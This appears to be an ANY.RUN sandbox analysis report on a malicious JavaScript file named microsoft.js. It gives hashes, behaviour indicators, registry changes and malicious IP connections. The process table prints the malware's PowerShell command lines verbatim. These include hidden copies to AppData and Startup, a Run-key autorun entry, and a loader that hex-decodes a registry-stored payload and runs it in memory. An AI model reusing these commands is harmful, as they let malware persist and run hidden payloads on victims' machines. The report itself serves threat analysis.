| File name: | microsoft.js |
| Full analysis: | https://app.any.run/tasks/1f5d00d0-8ef5-494a-8ea9-345dfeb07027 |
| Verdict: | Malicious activity |
| Analysis date: | August 13, 2019, 17:58:11 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | text/x-c |
| File info: | C source, ASCII text, with very long lines, with no line terminators |
| MD5: | B42A3D3DB0F56AA0E41539404B541AF9 |
| SHA1: | CB029E2A052B3B3C8E58ABFFD290333EDFE33C26 |
| SHA256: | E0DD4125CDC3530363BF5A8BE3EFFBDCA09C4AE298629BC59021F7BDCAA7B834 |
| SSDEEP: | 384:ZqRDEWe1Ae1UFty3Z5eRMC8lu9eIU2uN0aSVREEfKNCISreYucDMOXVROe55Pks:fR3PeqC8lu9eIUzDSVRnMseYvoOlR9ks |
MALICIOUS
Changes the autorun value in the registry
- powershell.exe (PID: 3588)
Writes to a start menu file
- powershell.exe (PID: 2216)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 3588)
- powershell.exe (PID: 1360)
- powershell.exe (PID: 2216)
- powershell.exe (PID: 3592)
Executes PowerShell scripts
- WScript.exe (PID: 2632)
- wscript.exe (PID: 2348)
Executes scripts
- powershell.exe (PID: 1360)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
44
Monitored processes
6
Malicious processes
3
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1360 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\microsoft.js',[System.IO.File]::ReadAllText('C:\Users\admin\AppData\Local\Temp\microsoft.js'));wscript 'C:\Users\admin\AppData\Roaming\microsoft.js'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2216 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\microsoft.js',[System.IO.File]::ReadAllText('C:\Users\admin\AppData\Roaming\microsoft.js'))" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2348 | "C:\Windows\system32\wscript.exe" C:\Users\admin\AppData\Roaming\microsoft.js | C:\Windows\system32\wscript.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2632 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\microsoft.js" | C:\Windows\System32\WScript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3588 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value 'C:\Users\admin\AppData\Roaming\microsoft.js' -PropertyType String -Force;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3592 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
965
Read events
736
Write events
229
Delete events
0
Modification events
| (PID) Process: | (1360) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2632) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2632) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2348) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2348) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (3588) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2216) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3592) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3588) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | microsoft |
Value: C:\Users\admin\AppData\Roaming\microsoft.js | |||
Executable files
0
Suspicious files
9
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1360 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X31H9SDK45E7ZGTB06DR.temp | — | |
MD5:— | SHA256:— | |||
| 3588 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1WRBHLQR8OLUMDM2B7K1.temp | — | |
MD5:— | SHA256:— | |||
| 3592 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T1GSJ0JN7ZYISGVYAITY.temp | — | |
MD5:— | SHA256:— | |||
| 2216 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SATKO4CR2AOOGTSIT5Q0.temp | — | |
MD5:— | SHA256:— | |||
| 1360 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF36e7d8.TMP | binary | |
MD5:— | SHA256:— | |||
| 1360 | powershell.exe | C:\Users\admin\AppData\Roaming\microsoft.js | text | |
MD5:— | SHA256:— | |||
| 3588 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF36ed37.TMP | binary | |
MD5:— | SHA256:— | |||
| 3588 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2216 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF36ed66.TMP | binary | |
MD5:— | SHA256:— | |||
| 1360 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
18
DNS requests
2
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3592 | powershell.exe | 185.165.153.250:5478 | — | — | NL | malicious |
3592 | powershell.exe | 193.56.28.134:5478 | — | — | — | malicious |
— | — | 193.56.28.134:5478 | — | — | — | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
dns.msftncsi.com |
| shared |